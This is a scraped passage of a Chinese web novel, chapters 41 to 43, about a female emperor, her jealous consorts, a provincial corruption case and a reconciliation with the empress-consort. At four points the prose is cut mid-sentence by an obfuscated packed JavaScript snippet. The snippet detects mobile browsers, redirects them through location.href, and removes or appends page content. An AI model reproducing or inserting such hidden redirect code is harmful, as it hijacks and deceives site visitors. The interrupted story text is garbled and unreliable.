乌宛白吓的面色惨白,直至凤帝面容恢复血色,才小心将其扶起:“陛下,您还好吗?” 裴源表示不太好,看着陆长行严重全是恐惧,几乎是连滚带爬的跑回了紫宸殿。 翌日,凤帝凤体欠安的消息传至前朝与后宫,一如往昔,紫宸殿宫门紧闭。本该前来侍疾的君后亦身子欠安,久未露面,反倒是素来狂傲的德君不顾乌宛白的阻拦,径直横冲进了紫宸殿。 彼时,凤帝端坐方台批阅奏折,看上去身无异样,康健如常。面对突然闯入的庄与之,更无半分波澜,只是静静的看着气焰汹汹的庄与之。 庄与之不知凤帝又在搞什么名堂,虚行一礼,开口质问:“听闻陛下受了宫侍蛊惑,命人将常尚宫压入了肃刑司?” 裴源眉梢微挑,而后单手托腮,好整以暇地看着来人,似在回应:是又如何? 庄与之的丹凤眼瞬时透出几分凌厉,双拳紧握,愤愤道:“常尚宫忠心耿耿,兢兢业业,臣实在好奇那宫侍生得怎样一张勾人面,竟让不解风情的陛下为他做出如此荒唐事?问都不问一句,便对常尚宫下了如此重罚!” 裴源嗓子疼痛,无法出声,干脆沉默到底,指尖轻点桌案,静静端看来人。 从前,无论他如何跋扈嚣张,凤帝总会念着父亲的身份,让着自己。可今日,她却只字不语,凤眸平静如水,没有半点波澜。 一盯就是许久。竟让气焰嚣张的男子,无端生出一丝恐惧。 骄矜如他,也忍不住萌生退意。可尚未开口,冷冽的声音突然传入内殿:“本宫看德君越来越放肆。陛下要惩治一个仗着权势、欺压宫侍的贱婢,难道还要经你允许?你眼中可还有帝君之别,纲常之理?紫宸殿是陛下休憩理政之地,你未经通传,放肆闯入,还敢以后君之身质问帝王!简直狂悖无状!” 言及此,郭嘉安已行至内殿,立在庄与之身前,冷声道:“来人!德君以下犯上,不敬帝王,宫规难容!即刻押回凝霜阁闭门思过,未经允准,不得踏出一步!” 庄与之当即面红耳赤,怒斥:“你算什么东西?凭你也配……” ‘啪——’ 朱红广袖在半空划过一道鲜明弧线,重重甩在了庄与之的脸颊上,脆响声伴着郭嘉安的斥责,绕梁不歇:“就凭本宫是贵君,高你一等!” 一旁看热闹的裴源当即凤眸圆瞪,背脊仿佛都挺直了几分。而庄与之更是愣怔当场,全完不可置信的僵在原地。 郭嘉安未曾给他反驳之机,赫然冷道:“都是死人吗?本宫的吩咐听不到?拖下去!” 乌宛白见势,一挥浮尘,廊下静候的宫侍几乎一拥而上。 庄与之何曾受过这种屈辱?当下歇斯底里的要与郭嘉安撕扯在一处,奈何身子被宫侍牢牢控制,越拖越远,竟连郭嘉安的衣袖都没有碰到,他心中极为不甘,只能歇斯底里的大吼:“郭嘉安!我要杀了你!你们这群贱奴竟敢拉扯本宫?本宫要将你们都杀了!全都杀了!放开本宫……” 裴源:“……” 前有耳光打手,后有愤怒嘶吼,还有昨夜的手锁喉,各个深藏不露,吓得裴源瑟瑟发抖…… 太可怕了,这个后宫太可怕了。 裴源目瞪口呆的目送了庄与之远去,忽而感觉后颈一热,浓烈的花香瞬时环绕周身,甫一回首,恰与贴上前的郭嘉安四目相对。 裴源没来由感觉头皮发麻,下意识退了好远后提笔飞速写下一句:【打了庄与之,可就不能打朕了呦~】 郭嘉安:“……” 不过几息,纸条就被郭嘉安夺在手里撕成了碎片,男子伫立方台静观凤帝须臾,复又将桃花眼眸垂落在她脖颈上系着的方巾上:“陛下脖子怎么了?” 裴源摸了摸方巾,再次提笔:【偶感风寒,伤了喉咙,并无大碍。】 桃花眼眸微眯,几息静默,郭嘉安才嘲弄道:“那这风寒属实厉害,平白在陛下脖颈上留了青,还是人手的形状。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15356125|164313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 裴源:“……” 裴源无端有些心虚,用手中握着的笔杆轻戳了戳脸颊,既不看他,也不再写字。 询问无果,郭嘉安不再自讨没趣,微微一礼,转身阔步退出了殿外。 乌宛白一如往昔,立在廊下躬身颔首,郭嘉安冷冷瞥她一眼:“侍主不周,自己去肃刑司领十个板子。再有下次,本宫亲自扒了你的皮!” 乌宛白面色如常,不露半点情绪,只恭敬回道:“是。” 郭嘉安拂袖而去,一盏茶后,朱红身影便踏入了栖梧宫。 解安心中警铃大作,尚未来得及阻拦,宸贵君已然阔步而入。视线与茶案前端坐的柳叶眸相对,片刻后,挤出一抹冷笑:“君后好雅兴,差点害得阖宫诸君成了鳏夫,竟还有心思在这饮茶?” 郭嘉安大摇大摆行至案前,一脚踏在椅上,豪放侧倚,俨然未将君后放在眼中。 陆长行凝着他的举止,虽有不满,可心中更在意凤帝状况,故而轻声问道:“她……可安好?” 郭嘉安冷哼一声,语气中满是嘲讽:“自己下了多重的手不清楚吗?还有脸来问我?” “我……”陆长行想说他不是故意的,可话到嘴边生生咽下,只道:“我无话可辩,是打是骂,悉听尊便。” “我吃饱了撑得打你?”郭嘉安没好气道:“陛下忘了我为何得宠,你不忘便好。” 说话间,郭嘉安从袖口取出一页卷轴扔到陆长行面前:“文渊阁的典制考;青云湖的水改道,不知道是不是巧合?总感觉先帝走过的荆棘路,有人想让陛下重蹈覆辙。” 陆长行放下手中的茶盏,展开卷轴。上面所书,正是先帝初登大宝那几年历经诸事的详细记录。 殿中一片静谧,只有微风从窗而入,吹撩起陆长行半束的青丝。良久,他才缓缓启唇:“近来听闻一事,先帝初登大宝之时,常家势大,为先帝所不容。” 他顿了顿,目光微微闪烁,似在回忆:“我幼时在北境长大,十二岁才初入京城。那时的常家已呈落败之象,我亦未听闻常家曾遭先帝责罚的懿旨。你可知其中缘由?” 郭嘉安瞥他一眼,目光如刃,眼底嘲讽之意丝毫未加掩饰,却也无意点破陆长行的心思。只收回视线看着锦袍上的那朵艳丽牡丹:“繁花之败,多自根茎腐烂。先帝深谙推波助澜之道,以星星之火引燃常家原野。常家姊妹彼此猜忌,自相残杀,最终不战而溃。” 原来如此。 陆长行放下卷轴,抬眸看向郭嘉安,目光总不自觉的被他眉心红钿吸引,盯的久了,只觉得刺眼。 “夏至阴生,日短夜长。人好揣度,厉鬼难防。”陆长行收回视线,眸光微深:“若你推测为真,或有人想借幽冥之力搅乱人心,我们还真要早设防备才好。” 郭嘉安长叹一声:“打不完的妖怪,淌不完的河,当时一定是猪油蒙了心,才上了她这条贼船。” 陆长行微微眯眼,语气中带着几分冷意:“别说得好像你吃了亏似的!” 郭嘉安不屑冷笑:“恩宠这种东西,谁嫌多啊?我是不争,而非争不过。”他言罢起身离去,边走边道:“陆长行,昨夜之事若再有发生,你也莫怪我不讲诚信了。” 41. 第 41 章 数日后,三司呈递南陵捷报,以南陵郡刺史朱秋华为首,连同八名贪官污吏,为贪墨朝廷赈灾银两及税粮,擅自命人改水道,致使下游六县洪灾肆虐,良田淹没三百余顷,房屋损毁四万余间,波及百姓七万余众。 三司还从朱秋华等八人府邸中搜查出大量金银财宝、古玩字画、房产田地等资产,价值高达百万之巨。 消息传入宣政殿,凤帝凤颜大怒,当即下令斩杀所有涉案官员。并抄没八府全部资财,悉数用于六县灾后修缮,并免两年税收,恢复民生。 消息传回小院时,逄蕊有些不敢置信:“那么多银子?陛下都要留给受灾六县?” 陆萧玉狠狠咬了一大口苹果,汁水四溅时,漫不经心道:“陛下已敕令三司清查受灾名册,及赃款明细。为防贪官污吏再行盘剥侵占,已命新任刺史张榜公示名录,无论是田地、桥梁、道路、民宅、受灾百姓……皆按比例清算后分拨银两,并设举报署,所有灾民皆为监察官,全程公开透明。” 一旁的石师仪更为吃惊:“举报署?”她默了默,似又有了新的顾虑:“这举报署的官员大抵也是朝廷委任,谁又能确保她们不会行报复之举?” 几个压着司马入京告御状的乡民齐齐点头:“是啊,是啊。” 陆萧玉哼了一声,扔了手里的果核,随意在衣衫上蹭去汁水,才从怀里取出一份明黄卷轴。 在满院子人的注视下,陆萧玉一改吊儿郎当的姿态,背脊挺直伫立,高宣:“圣旨到!” 众人尚未来得及反应,紧闭的小院门忽而推开,两列威严侍卫飒飒踏入院内,各个龙睛虎目,气势不容小觑。 石师仪心中似有骇浪惊涛,她缓缓跪地,不知是因恐惧,还是因心头震撼。其余乡民见状,亦纷纷跪趴在地,惶恐不安。 陆萧玉缓缓展开奏折,高声宣读旨意:“南陵洪灾,虽肇始于天灾,然祸延于人祸,朕闻之心痛不已,寝食难安。然,朕居庙堂之高,虽有心救民于水火,奈何鞭长莫及,只能委任凤鸣卫陆指挥使南下,助乡民讨伐贪官,共度难关。 朕闻悉:石桦琳、逄蕊二人,在此过程中心思细腻,机智过人,巧妙引导乡民,戳穿贪官阴谋。朕心甚慰,特诏命石桦琳、逄蕊为监察署民官,负责监督赈灾银两分配事宜。若发现赈灾银分配不均,或有贪官污吏再次作祟,可直接上报陆指挥使。望尔不负朕望,尽心竭力,为百姓谋福祉,为朝廷除奸邪。钦此~” 院中静默良久,石桦琳仿若从梦中惊醒一般,叩地的脸慢慢抬起时,竟已老泪纵横,颤颤巍巍的高举双手,泣不成声:“草民,石桦琳,接旨。” 直至圣旨接在手里,逄蕊任在状况外:“陆姐是指挥使……那那位陆公子?” 陆萧玉亲扶石桦琳起身:“尔等有福,曾得父仪天下的君后亲自看诊。” 其余乡民脸色甚是难看:“君后?那……我们骂陛下的那些话……” 陆萧玉冷哼一声:“现在知道怕了?” 众人瑟瑟发抖:“……” 乡民回程的第二天,另一个流言悄然四起。 南陵郡官吏贪墨案之所以处理得如此迅速,皆因大晟文脉觉醒,文昌帝君降下神迹,庇护爱徒。 彼时,帷帽诗仙入仕之言空前鼎沸,凤帝难拒百官请命。恰逢回京的南阳王仰慕其诗词宏大志愿,故请命为护诗使者,从此愿为诗仙喉舌,肝脑涂地。 一时间,上至亲王贵族,下至学子百姓,皆为此请命。终得凤帝点头首肯。 帷帽诗仙入主太学高堂之日,太学府人潮鼎沸,争先请教学问。直至子时的梆子声叩响,人们才在禁军的驱赶下散去。 彼时的傅逸春似蔫了的花儿,摘下帷帽后的双眸失神,就连凤帝的靠近,都未能唤起他一丝精神。 裴源伸出双手捏了捏他的脸颊:“爱君,你要振作起来啊,朕不能没有你~” 傅逸春目光呆呆偏转落在裴源的脸上,片刻后,直接推开她的手,声音嘶哑道:“你奏开,我不是你的爱君,我只是田野里耕种的牛马。” 裴源:“……” 哦呦~快来看呦~这个男人刚有点成就,就飘啦~连臣都不叫啦~~ 裴源嘿嘿一笑,忙将早就备好的润喉羹汤递到他跟前:“辛苦呢~只是暂时的,等她们将该问的问了,该说的说了,你的好日子的就来了。那会儿你想写经文就写经文,想用徽墨就用徽墨,喜欢洒金朕就给你备上一摞子金箔,写出来的字都是金灿灿的,还能享受到万民敬仰,朕都没你这个福气呢~” 傅逸春淡淡看她良久:“臣有句话不知当讲不当讲。” 裴源马上舀了勺羹汤递到他的嘴边:“这个福气给朕,朕不能要。朕堂堂帝王,坐拥天下,怎么能和后君抢福气呢?来,喝汤~” 傅逸春:“……” 话都让你说了。 傅逸春张口吞下一勺羹汤,清凉之感滑入喉舌,顿解喉咙干涉之感,正要张口咽下第二口汤,清脆的叩门声忽而响起:“诗仙,您睡了吗?” 是南阳王。 敲门只是她的礼貌,不请而入则是她的习惯,于是,成功捕获到了一个凭空出现的凤帝。 “陛下?”裴若愣了片刻,忙上前躬身行礼,后径自起身张望着后堂的窗:“您这是……早来了?” 裴源理了理凌乱的裙摆,面色从容:“朕就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15368308|164313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寝时,忽而想到一个疑问百思不得其解,故而辗转反侧,夜不能寐,只得深夜前来请教诗仙。又怕叨扰太学安宁,所以来的方式隐蔽了些。” 裴若恍然:“臣懂。”她一撩裙角端坐在二人面前:“不知陛下何事不解?臣虽才疏学浅,可也历经波折,见识稍宽,想必能为陛下解惑。” 裴源呵呵冷笑一声,还见识稍宽?满心满眼都在夺位上,能有个锤子见识! 凤帝尚未开口,苍老的声音从帷帽下飘出:“陛下再与老夫讨论,田野与牛马。” 裴源:“……” 傅逸春又道:“老夫以为,田野广袤,会累死牛;然陛下以为,牛吃金箔便累不死。故而,争论不休。不知南阳王如何看待此事?” 裴若:“……” 这都什么乱七八糟的? 眼见二人目光齐刷刷的落在自己脸上,裴若眉头紧锁,认真思量:“这个……嘶……嗯,二位饿了吗?可要共饮一杯?席间讨论?” 裴源斩钉截铁:“谢邀。” 傅逸春义正词严:“婉拒。” 裴若嘴角微抽,莫名觉得自己有些多余,于是试探道:“那我走?” 裴源与傅逸春齐声道:“慢走,不送。” 裴若:“……” 不说凤帝对这个帷帽诗仙不屑一顾吗?可她瞧着,这二人竟似天作之合,契合无间,仿佛本就是一体。 裴若郁闷离去,傅逸春再次扯下帷帽,狠狠白了眼她离去的方向:“不请自入,甚没规矩!” 说罢,端起身后的羹汤自顾自饮用起来。 裴源的目光落在傅逸春的手上,那双手修长而光洁,与他苍老的声线并不相符。 “无需忧惧,朕早已安排人在暗中保护你,你尽管在太学安心住下。” 傅逸春听出凤帝的担忧,语气淡然道:“陛下想要牵制南阳王,其实易如反掌。只需将凝露殿那位放出宫,便能达成目的。” “瞿辰?”裴源微微皱眉,显得有些不解:“君后曾言,南阳王已然不记得他了。” “见到了,自然就会想起了。”傅逸春淡淡看了裴源一眼,继续说道:“陛下对诸君性情知之甚少。若陛下了解便该知晓,那瞿辰,就是个疯子。陛下只需寻个由头,将人送到南阳王跟前,南阳王便对他打不得、骂不得、赶不得,自然而然就少了精力与臣周旋。” 裴源轻轻摩挲着指间的黑玉扳指,沉默良久,提议道:“瞿辰仰慕帷帽诗仙的才华,甘愿自降身份侍奉左右。这份执着,朕亦为之动容,自当成全。如何?” 傅逸春微微沉吟,片刻后点头回应:“虽稍显棘手,但臣自信能够妥善应对。” 42. 第 42 章 瞿辰对帝王不忠不敬,仅封闭宫门,已然是凤帝对格外开恩。可他却对凤帝尤为不满,自得知南阳王回京,心中对凤帝的不满攀至顶峰。 这日,紧闭的宫门忽而开启,乌宛白踏步而入。面对瞿辰的冷嘲热讽,乌宛白似无半点波澜,一副履行公事的模样道:“瞿卿君不必言语相激,奴婢此番不过是奉命而来。陛下说了,与其见你如此疯魔,人在心不在,倒不如成全你一片痴情。” 瞿辰一愣,一脸警惕道:“她会这么好心?” 乌宛白立在廊下,隔着一扇窗,将视线落在室中男子的素白衣衫上。后君着白,意在服丧,瞿辰此举,实乃大不敬。她却懒得戳破,只淡淡道:“后君十数人,陛下皆未放在心里。既未放在心上,又何必介怀谁在意与否?” 瞿辰眉宇微蹙,似在思量她话的真伪。 乌宛白又道:“卿君虽禁足于凝露殿,但消息素来灵通,帷帽诗仙之名,想必早有所耳闻。陛下爱才,欲彰显天家恩德,故思量着,委派身边亲近之人屈尊侍奉再好不过。虽有他人可选,但陛下念及你,便差奴婢前来一问。你若愿往,便放你出宫;你若不愿,便当奴婢未曾来过便是。” 瞿辰眉头拧得更紧,直觉告诉他,此事恐为凤帝的阴谋,可他实在想念裴若,于是,见乌宛白转身欲离,忙不迭地冲出殿外:“本宫愿意!” 乌宛白缓缓停下步子,转过身,目光淡漠地看着他:“此番出宫,奉的是皇命,从此,这宫门便再踏入不得。瞿卿君可要想仔细了。” 这囚牢一样的后宫,谁稀罕? 瞿辰想也不想道:“本宫自当唯陛下之命是从。” · 天气愈发燥热了起来,才一下朝,头上的旒冕与繁琐的凤袍已被裴源拆了个七七八八。 尽管如此,尤觉燥热,裴源猛扯了一下领口,只听“咔”的一声,贝壳纽扣应声而断,还在领口处留下了一道鲜红的痕迹,不过两息,伤痕慢慢溢出血珠。 乌宛白紧张不已,忙道:“陛下?” 裴源强忍心头怒意,低沉说道:“大热天的,衣服繁琐倒也罢了,还将领口制得这般紧俏,捂得严严实实,是要热死朕吗?去,把朕的凤袍赏给制衣署的尚宫们,让她们穿着去烈日下站两个时辰,让她们亲自感受一下,做精致娃娃的快乐。” 乌宛白点头如捣蒜:“是是是,陛下息怒,奴婢这就去办。” 彼时,计安寻了一套常服入内,才服侍好凤帝更衣,郭嘉安闲庭信步的步入殿中,瞧见裴源脸色不悦,赶忙奉上一盏凉茶:“陛下莫气,臣替你教训她们便是了。” 裴源仰头一饮而尽,清凉的茶饮入喉,似带走了内心烦躁情绪。放下茶盏时,郭嘉安早已掀开了药箱,捻着一块棉花沾着药水,状似无意道:“这几日格外的热,臣也烦躁的不行,听闻玉镇开了一处避暑山庄,居在山涧,凉爽的紧。” 竹镊捻了浸了药水的棉花向前,裴源并未闪躲,还微微仰头由他上药,听到此处,回他道:“玉镇离京十余里,你若想去,便多住一段时日,免得路上来回奔波。” 女子的脖颈纤长白皙,一道颈纹也无,因而伤痕落在颈上无比鲜明,郭嘉安目光注视着,躁动心生,努力压下情绪,方才轻轻涂抹,药水刺痛感令女子脖颈微缩,男子下意识顿了两息,打趣道:“陛下到底是多烦臣?恨不得臣在外永不回宫?” “又曲解朕的意思。”察觉药已上完,她颔首看他:“听君之言,便有想去之意,你难得开口,朕若不准,你定不悦;可朕准了,你又不喜。” 裴源看着他眉心鲜红夺目的花钿,忍不住伸手戳了戳:“阖宫诸君,数你最骄矜。” 郭嘉安顺势握住她的手,目光灼灼:“臣……” “咳咳~” 忽而传入的轻咳声,打破了殿中暧昧,两人齐齐望向来殿门前侧立的月白身影。 一晃儿数日不见,本就清瘦的男子看着更显单薄,裴源微微蹙眉,下意识挣脱了郭嘉安的手,端坐凤椅,正色道:“进。” 郭嘉安稍显不满,于是颔首整理着药箱,对款步而入的君后恍若未闻。 君后行至殿中,行了一礼,颔首轻声道:“陛下。” 凤眸凝视着他,见男子神色憔悴,裴源心中没来由的心头一颤。 那晚,她的确被陆长行的惊人之举吓得不轻,但事后也明白君后并非有意为之。本想等他前来亲自赔罪,此事便就此作罢,却没料到君后自那晚之后,竟一连数日闭门不出,让裴源觉得有些莫名其妙。 “何事?”裴源问。 陆长行这才从袖口掏出一册文书:“陛下,夏至之日,后宫亦将举行祭祀之礼,祈求消灾祈福、岁稔年丰。此乃祭祀流程,还请陛下请过目,可有遗漏之处?” 殿中静默稍许,裴源道:“君后做事向来稳妥,朕信任至极无需过目,皆依君后之意举办吧。” 陆长行闻言默默将文书揣好,躬身一礼:“臣告退。” 说罢,颔首退了几步,转身退出殿外,从始至终,未曾抬头看过凤帝一眼。 眼见月白锦缎很快在殿外留下一道掠影,裴源心绪愈发烦躁,却仍极力克制,对身侧贵君耐心说道:“银子不够,便去朕的私库取。晚些时候,朕会钦点几个身手好的侍卫护你周全,你安心出宫,多玩几日,权当散心。” 郭嘉安将凤帝的情绪尽收眼底,知晓她已是烦躁难平,却仍耐着性子安抚自己,他心中一动,忍不住问道:“陛下何以这般纵容臣?” 裴源一愣,思量了片刻后,得出一个莫名其妙的结论:她说不清楚,只觉的合该如此。于是取过一本奏折翻阅,随口回他:“你若不乐意,朕也可以收回成命。” 郭嘉安微微一笑:“臣就是随口问问,陛下怎还生气了。” 裴源无奈道:“哪敢生你的气,天热,朕燥而已。” 郭嘉安不再多言,安安静静在凝辉殿饮了两盏凉茶,方才起身说道:“陛下,臣乏了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15381520|164313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>裴源点了点头:“回去歇着吧,晚上好赶路。” 目送朱红身影远去,裴源再也按捺不住,扔下朱笔,阔步走出大殿:“陪朕去趟栖梧宫。” 计安扯嗓子高喊:“备撵~” 裴源:“……” 裴源照着她的屁股就来了一脚:“来,再大声一点,让阖宫的人都听到!” 计安:“……” 计安赶忙认罪:“陛下息怒,奴婢下次注意。” 正值晌午,宫人全都懒洋洋的,即便蝉鸣声声不歇,依旧难抵困倦。 ‘当——’ 解安不知不觉间睡熟了,或许是梦魇缠身,一个伸腿,踹得茶案一晃,发出了一声闷响。 声响瞬间将解安惊醒,似也将君后吓了一跳。 看着手边因茶案晃动而倾洒的茶水,解安慌忙跪地:“君后恕罪。” 陆长行取了帕子,慢条斯理地擦拭着手上的茶水,淡淡道:“若困了便去午歇一会儿,本宫这无需照应。” 解安挠挠头,一时间不知该不该退下。 适才君后踏出凝辉殿后,便失魂落魄地回了栖梧宫。而后,便一言不发地静坐在茶案前,神情恍惚,眸色无光,连午膳都未曾用。 解安本想安抚几句,却又不知从何开口,只能陪伴在侧。结果一不小心,自己竟睡着了。 抬眸见君后又在发呆,解安轻轻一叹,正打算备些点心供君后打牙祭,谁料,恰好瞧见凤帝阔步而来。 廊下宫侍的请安声传入殿中,陆长行稍显错愕,忙不迭起身恭迎。却不想凤帝面色阴沉,径直踏入内殿,边走边道:“那夜之事分明是你的过错!你不来向朕赔罪也就罢了,竟还数日装聋作哑,适才更是头也不回地就走了?朕算是看出来了,你就是等着朕来哄你?对吧!” 凤帝说话间,已熟门熟路地跨上方台,寻了个阴凉有风的位置,懒懒倚靠在那,端的是一副气急败坏却又吊儿郎当的模样。 解安见势,急忙挥手,遣走了殿中及廊下照应的宫人,只留帝后二人独处。 陆长行这才缓步上前,伫立于方台旁,微微颔首,低声道:“臣自知冲撞凤体,深感愧疚,因而无颜面圣,只能闭门不出,静思己过。” 裴源闻言,冷哼一声:“胡扯!你若真愧疚,就该日日到朕面前请罪道歉,闭门不出算什么悔过?莫名其妙!” 陆长行沉默片刻,将头压得更低,良久才道:“臣并非不想向陛下请罪,臣……臣只是害怕。” “你害怕什么?”裴源盯着他,语气中带着几分逼问:“害怕朕不原谅你?还是害怕朕会在宫人面前落了你君后的脸面?” “那些虚妄的颜面,臣从不挂怀。” 又是一阵长久的沉默,陆长行低沉的嗓音再度响起:“臣只是怕,陛下会因那夜臣的举动而心生惧意。若当真如此,陛下势必会为了顾及臣的颜面,耗费心力与臣周旋言辞。陛下本就忙于国事,臣不愿陛下再因这等琐事而烦忧。” 43. 第 43 章 裴源心中本想与陆长行大吵一架,可心底却似烧着一座火山,唯恐气急之下说出些言不由衷的话,反而伤了彼此的情分,索性还是作罢。于是起身立在方台边上,居高临下的看着颔首静默的男子。 良久后,口中逸出一声长叹:“君后总有自己的一套道理。” 言此,裴源重重拍了一下他的肩膀,跳下方台,抬步而去时,男子的声音响在身后。 “臣纵有千般巧辞,但想说服之人却从不是陛下,而是臣自己。” 裴源停下步伐,回身望去,陆长行仍伫立原地。低着的头缓缓抬起,眸光平静地望着她。 “臣要说服自己,纵然陛下身边佳人众多,但陛下心中,唯爱臣一人。因为臣是有用的,无害的,无瑕的。可那夜臣伤了陛下,臣心疼之余,皆是惶恐,因为臣不再是那个完美的君后。臣怕陛下嫌恶臣,更怕面圣时看出陛下对臣的厌恶。臣会无地自容,再不敢厚颜留在后宫,霸着君后之位。可臣又不舍得离开陛下。所以臣躲在栖梧宫,每日盼着陛下来,又怕陛下来,就好像脖子上悬了把刀,臣不知那刀挥下时,斩断的是臣的脖子,还是臣与陛下的情丝。” 午后的蝉鸣声无比吵闹,扰乱了本该静谧的宫殿。 热风裹挟着燥热拂过脸颊,不过片刻,裴源额头上就生出一层细密的汗珠。她下意识地瞥了一眼院中,青砖被太阳炙烤,隐隐散发着热气,最后夹杂在风里,吹入室内,更添了几分闷热。 裴源忍不住扯了下领口,新的衣扣骤然崩开,在半空划过一道弧度,很快,角落里传来纽扣与地板弹跳的声响。弹跳声由缓入急,归于静谧,裴源也终于明悟了陆长行这番话深层的意思。 裴源一脸无奈道:“不过是被你瞧见与郭嘉安举止亲昵了些,竟惹出了你这一大番道理。” 陆长行静默须臾,颔首道:“陛下圣明。” 裴源:“……” 她就知道!什么斩脖子,斩情丝?说了一堆屁话,无非是借机控诉不满。 裴源轻叹一声,缓步行至他的面前,俯下身侧仰着头看他,四目相对,凤眸眨得飞快,带着几分轻哄的意味:“天气燥热,更助醋味挥发,若将朕熏死了,君后可就守寡了。” 陆长行微微蹙眉:“什么死不死的,陛下如今是越来越口无遮拦了。” 裴源赶忙伸出手勾起他的手指:“朕不说便是了,君后也莫要介怀了。可好?” 陆长行顺势将她的手握在掌心:“真想将陛下的手泡进池子里,仔细洗得干净彻底。” 裴源无奈道:“可以洗,就是君后拈酸吃醋之余,能否赏朕一口水喝?” 陆长行嘴角肉眼可见地扬起了一抹弧度,只是语气依旧阴沉:“勉为其难。” 裴源不自觉笑出了声:“属实是倒反天罡了。” 陆长行这才拉着她行至茶案前,倒了碗凉茶出来递到了女子手边,再开口时,语气和缓了不少:“前些日子,陛下的饮食中被人掺入了雄黄。雄黄本是良药,却也是毒药。长期服用会导致心悸,陛下前段时间莫名心慌,便是因此。如今虽已停药,但体内毒素尚未清除,所以身体燥热难耐。陛下且忍忍,待毒素清除,便会无碍。” 裴源愣怔须臾,才将杯中茶一饮而尽,清冷之感滑入心肺,仿佛燥热也平息了:“总有刁民想害朕!” 陆长行默然无语,只将柳叶眸凝落在她的脖颈上。裴源似有所觉,轻轻拍了拍他的手,温声安抚道:“疼了不过两日便已好转,朕知晓你是因梦魇才失了分寸,故而未曾放在心上。本还盼着你早日前来哄朕一哄,哪料你竟与自己闹起了别扭。” 陆长行眼眸微暗,声音里带着几分沉郁:“一路奔波,疲乏至极,睡得懵了头。若非解安听到动静冲入殿中,臣都不敢想会发生什么。”他的脸上多了一丝愧疚:“陛下,臣……” 裴源伸手抵着他的唇:“事过了便算了,不提了。” 陆长行眸底似生了雾,想也不想的握住她的腕将其扯入怀里:“臣当真是怕……怕陛下再不理会臣了。” 说不清是心里原因,还是自己本就贪恋他的靠近。裴源只觉得男子的怀抱似三月春雪,透着股清冽的凉意,瞬间便熄灭了她体内的燥热。 不忘拍着他的后背安抚:“哪会舍得不理你?这不巴巴过来哄你了?阖宫独一份的恩宠,朕可都给了你。” 这话不知怎地触怒了男子,陆长行瞬间抽离怀抱,没好气道:“陛下的恩宠分文别类,每一种都是独一份。这话糊弄他人去,臣才不信。” 裴源:“……” 裴源摸摸鼻子,笑得有些惭愧。彼时,男子侧身从案旁的匣中取出一方帕子,系在了她的腕上。 帕子素白一张,只在两角处绣了两朵微微绽放的菡萏,交叉系在一处时,错综盛开,好似一朵并蒂莲。 裴源感叹他的巧思,开口道:“那夜你到底梦到了什么?朕瞧你那样子,像是要将仇人千刀万剐似的。” 陆长行下意识地抚了抚腕上的银镯,犹豫了片刻,才缓缓道:“母卿出事前似有所觉,于是寻了个借口哄臣南下躲避风头。臣对南方人生地不熟,途经一处丛林后便迷了路。醒来时,发现自己被人囚禁在了一个名叫‘苗翎谷’的村落。” “苗翎谷?”裴源眉头紧蹙:“朕倒是听南阳王提及过,似是一个专门豢养蛊虫的村子。” 陆长行点点头:“那村子十分诡异,整个村子里没有一个男人。偏偏有些蛊虫又需要男子的血来豢养,于是,她们就会在丛林里设下迷雾,一旦捕获到男子便会囚禁关押,每隔几日,割腕取血。” 裴源似是不解:“若没男子,如何传宗接代?”话一出口,她便想到了答案,语气微微一顿,接着道:“看来囚徒的作用,不仅仅是供血 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15384665|164313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,还要诞育儿女。” 言此,裴源心绪微乱,眸光微沉,下意识地望向陆长行的小腹。 陆长行似有所觉,却并未多言解释,轻声反问:“陛下可知男子如何诞育子女?” 裴源心中思绪纷杂,只含糊应道:“成年后服药,以改换身体机能。” 陆长行察觉到她的急躁,却并不点破,淡淡开口:“其实不然。”说罢,他轻轻伸手,以指尖轻触她的唇瓣:“首先,需在男孩幼年时吞下育籽。” 